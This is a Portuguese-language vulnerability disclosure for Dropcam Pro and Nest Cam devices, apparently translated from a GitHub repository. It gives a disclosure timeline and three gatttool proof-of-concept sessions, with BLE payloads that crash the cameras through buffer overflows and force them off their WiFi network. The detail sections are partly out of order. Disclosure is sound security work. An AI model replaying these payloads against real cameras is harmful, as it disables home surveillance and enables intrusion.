jasondoyle/google-nest-cam-bug-disclosuresDivulgações de vulnerabilidades PoC para câmeras IoT de consumo, detalhando estouro de buffer BLE e ataques de dissociação WiFi que podem tirar dispositivos offline.
Afetados: modelos Dropcam Pro, Nest Cam Indoor/Outdoor
Última build afetada: 205-600052
Build parcialmente corrigida: 205-600055
ATUALIZAÇÃO A versão mais recente do firmware 205-600055 não corrige a vulnerabilidade de dissociação WiFi no Dropcam Pro. Se a rede WiFi fornecida não existir, o tempo de reassociação foi melhorado e a câmera agora se reconecta em aproximadamente 10 segundos. No entanto, ainda é possível fornecer uma rede WiFi válida para tirar o dropcam do ar permanentemente.
Cronograma de Divulgação:
26 de outubro de 2016: Bug de segurança relatado de acordo com as diretrizes do Programa de Recompensa por Vulnerabilidades do Google
27 de outubro de 2016: A Equipe de Segurança do Google confirmou que o relatório foi recebido e que estava sendo investigado
1º de novembro de 2016: A Equipe de Segurança do Google validou as vulnerabilidades relatadas e registrou um bug
15 de novembro de 2016: O painel VRP do Google emitiu uma recompensa de US$ 100 na categoria "Aquisições não integradas"
17 de março de 2017: Divulgação pública
Aplicativo iOS de PoC por Troy Stribling :: NestPWN
Resumo
É possível acionar uma condição de buffer overflow ao definir o parâmetro SSID na câmera. O atacante precisa estar no alcance do bluetooth em qualquer momento enquanto a câmera estiver ligada. O Bluetooth nunca é desabilitado, mesmo após a configuração inicial.
Prova de Conceito
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
Detalhes
O payload tenta definir um SSID com comprimento de 1 byte e envia 16.
SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16
Resultado
Crash e reinicialização de volta ao estado operacional
Resumo
É possível acionar uma condição de buffer overflow ao definir o parâmetro de senha criptografada na câmera. O atacante precisa estar no alcance do bluetooth em qualquer momento enquanto a câmera estiver ligada. O Bluetooth nunca é desabilitado, mesmo após a configuração inicial.
Prova de Conceito
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
Resumo
É possível desconectar a câmera do Wifi fornecendo a ela um novo SSID para se conectar. O armazenamento local de gravações de vídeo não é suportado por essas câmeras, portanto a vigilância fica temporariamente desativada. O atacante precisa estar no alcance do bluetooth em qualquer momento enquanto a câmera estiver ligada. O Bluetooth nunca é desabilitado, mesmo após a configuração inicial.
Prova de Conceito
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
Detalhes
O payload tenta definir a senha wifi criptografada com comprimento de 1 byte e envia 3.
SequenceNum=3a + Type=0312 + Length=0b + ssidVal=506574536d6172742d356e + type=1a + length=01 + encPass=AA*3
Resultado
Crash e reinicialização de volta ao estado operacional
Characteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfully[18:B4:30:5D:00:B8][LE]> Detalhes
O payload tenta alterar o SSID associado à Nest Cam, causando uma dissociação temporária do SSID Wifi atual.
seqNum + 0312(type) 0b(len) + SSID + 1a(type) 20(len) + encPass
seqNum + encPass(cont)
seqNum + encPass(cont) + 2002280032(constant) + 10(len) + authTag
seqNum + authTag(cont) + 3a(UnknownType) 04(len) + DEADBEEF
seqNum(execute)
Resultado
A câmera se dissocia da rede wifi atual para tentar se associar ao novo SSID definido. Se a rede WiFi não existir, a câmera ficará offline por aproximadamente 60-90 segundos antes de retornar à rede Wifi original e retomar a operação normal. Se a rede existir, ela verificará a conectividade com a Internet e permanecerá na nova rede.